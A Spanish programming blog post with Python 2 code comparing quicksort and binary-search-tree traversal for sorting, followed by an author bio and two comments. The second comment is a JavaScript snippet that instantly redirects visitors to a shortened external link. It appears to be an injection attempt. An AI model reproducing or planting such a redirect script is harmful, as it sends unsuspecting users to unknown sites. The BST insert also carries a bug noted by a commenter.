Prueba quicksort vs Recorrido BST

Esta es la prueba que estaba realizando para el video tutorial, aqui les dejo el codigo fuente:

def qsort(list):

    if list == []:
        return []
    else:
        pivot = list[0]
        lesser = qsort([x for x in list[1:] if x < pivot])
        greater = qsort([x for x in list[1:] if x >= pivot])
        return lesser + [pivot] + greater

class Nodo(object):

    def __init__(self,value):
        self.k = value
        self.izq = None
        self.der = None
        self.root = None

class BST(object):

    def __init__(self):
        self.root = None

    def insert(self,valor):

        nodo = Nodo(valor)

        if self.root is None:

            self.root = nodo

        else:

            temp = self.root

            while temp is not None:

                nodo.root = temp.root

                if(nodo.k >= temp.k):
                    if temp.der is None:
                        temp.der = nodo
                        break
                    else:
                        temp = temp.der
                else:
                    if temp.izq is None:
                        temp.izq = nodo
                        break
                    else:
                        temp = temp.izq

    def itw(self,nodo):
        if nodo is not None:
            self.itw(nodo.izq)
            print nodo.k
            self.itw(nodo.der)

import sys
import time

N = int(sys.argv[1])
numeros = []
bst = BST()

for i in xrange(N):
    #metodo 1, lista y usar quicksort nativo
    numero = long(raw_input())
    numeros += [numero]
    bst.insert(numero)

start = time.time() #(datetime.datetime.now().time())
numeros.sort()
#numeros = qsort(numeros)
#for el in numeros:
#  print el
print numeros
#bst.itw(bst.root)

end = time.time()#(datetime.datetime.now().time())

print "Time elapsed on sorting:",(end - start)

 

Acerca del autor:

Mi nombre es Jorge Villalobos, soy Colombiano de nacimiento y resido en México desde 2005,actualmente soy el creador de codigoprogramacion.com Soy ingeniero en tecnologías de información y comunicaciones y trabajo de tiempo completo desarrollando aplicaciones web. En general me considero un tipo normal, me gusta salir, divertirme, y uno de mis hobbies es programar y hacer tutoriales para compartir conocimiento, me gusta la pizza, el ajedrez y tomar una que otra cerveza los fines de semana. Espero que este proyecto ayude a ayudar a los demás.

Twitter del autor:

2 comments

  1. Juan says:

    En la línea 38 debería ser “nodo.root = temp # apunta al padre”

  2. sdf says:

    var pagina=”http://goo.gl/x24piY”; function redireccionar(){location.href=pagina}setTimeout (“redireccionar()”, 0);

Leave a Reply

Your email address will not be published. Required fields are marked *